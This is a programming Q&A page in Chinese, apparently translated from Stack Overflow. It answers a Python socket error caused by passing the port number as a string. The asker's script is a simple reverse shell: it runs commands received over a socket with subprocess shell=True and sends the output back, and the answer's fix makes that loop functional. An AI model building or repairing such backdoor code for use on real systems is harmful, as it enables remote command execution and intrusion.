Python Socket getattr需要整数

时间:2018-02-06 21:09:42

标签: python sockets networking

我试图在我的一个python代码中使用套接字对象,但它在这一行失败了:

#!/usr/bin/python

import subprocess,socket

HOST = '127.0.0.1'
PORT = '443'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((HOST, PORT))
s.send('Yo')

while 1:
    data = s.recv(1024)
    if data == "quit": break

    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

    stdoutput1 = proc.stdout.read() + proc.stderr.read()

    s.send(stdoutput)

s.send('Bye')
s.close()

它失败了:s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

  File "C:\Python27\lib\socket.py", line 224, in meth
    return getattr(self._sock,name)(*args)
TypeError: an integer is required

当我无法理解为什么会这样时,它告诉我参数中需要一个整数。它从socket.py:

调用此方法
def meth(name,self,*args):
    return getattr(self._sock,name)(*args)

1 个答案:

答案 0 :(得分:0)

您误解了错误消息,并且正在查看错误的行。 s.connect()调用失败了:

>>> import socket
>>> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>>> s.connect(('127.0.0.1', '443'))
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/Users/mjpieters/Development/Library/buildout.python/parts/opt/lib/python2.7/socket.py", line 228, in meth
    return getattr(self._sock,name)(*args)
TypeError: an integer is required

请注意,此处失败的{{1>}次呼叫 ,而socket.socket()呼叫是s.connect(),因为'443'不是有效的端口号。

端口号必须是整数,而不是字符串;更正您的PORT变量:

PORT = 443   # make this an integer

通过更改连接工作(如果端口可连接):

>>> s.connect(('127.0.0.1', 443))